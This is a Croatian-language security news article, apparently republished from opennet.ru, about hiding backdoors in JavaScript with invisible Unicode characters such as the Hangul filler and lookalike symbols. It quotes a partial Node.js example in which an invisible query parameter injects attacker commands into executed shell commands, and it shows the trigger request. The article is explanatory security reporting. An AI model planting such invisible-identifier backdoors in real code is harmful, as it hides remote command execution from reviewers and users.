Korištenje nevidljivih unicode znakova za skrivanje radnji u JavaScript kodu

Nakon metode napada Trojan Source, koja se oslanja na Unicode znakove za obrnuti redoslijed prikaza dvosmjernog teksta, objavljena je druga tehnika za ubrizgavanje skrivenih radnji, primjenjiva na JavaScript kod. Nova metoda oslanja se na Unicode znak "ㅤ" (kod 0x3164, "HANGUL FILLER"), koji je klasificiran kao slovo, ali nema vidljivog sadržaja. Unicode kategorija, koja uključuje ovaj znak, dopuštena je od specifikacije ECMAScript 2015 za upotrebu u nazivima JavaScript varijabli, što omogućuje stvaranje nevidljivih varijabli ili novih varijabli koje se ne razlikuju od drugih varijabli u popularnim uređivačima koda kao što su Notepad++ i VS Code.

Kao primjer, dan je kod za Node.js platformu, u kojem je stražnja vrata skrivena pomoću varijable koja se sastoji od jednog znaka "ㅤ", što omogućuje izvršavanje koda koji je odredio napadač: app.get('/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; // zapravo, piše "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ // nakon zareza dolazi znak \u3164 ];

Na prvi pogled, kroz vanjski parametar se prosljeđuje samo vrijednost timeouta, a niz izvršenih naredbi sadrži bezopasan, fiksni popis. Međutim, nakon varijable timeout, dodjeljuje se vrijednost druge nevidljive varijable s kodom znaka \u3164, koja se također zamjenjuje u niz izvršnih naredbi. Stoga, s takvom konstrukcijom, napadač može poslati zahtjev poput "https://host:8080/network_health?%E3%85%A4=command" kako bi aktivirao stražnja vrata i izvršio svoj kod.

Drugi primjer je znak "ǃ" (ALVEOLARNI KLIK), koji se može koristiti za stvaranje izgleda uskličnika. Na primjer, izraz "if(environmentǃ=ENV_PROD){" uvijek će se procijeniti kao true kada se izvrši u Node.js 14, budući da ne provodi provjeru razlike, već dodjeljuje vrijednost ENV_PROD varijabli "environmentǃ". Ostali obmanjujući Unicode znakovi uključuju "/", "−", "+", "⩵", "❨", "⫽", "꓿" i "∗".

Izvor: opennet.ru

Kupite pouzdan hosting za stranice s DDoS zaštitom, VPS VDS poslužiteljima 🔥 Kupite pouzdan web hosting sa DDoS zaštitom, VPS VDS servere | ProHoster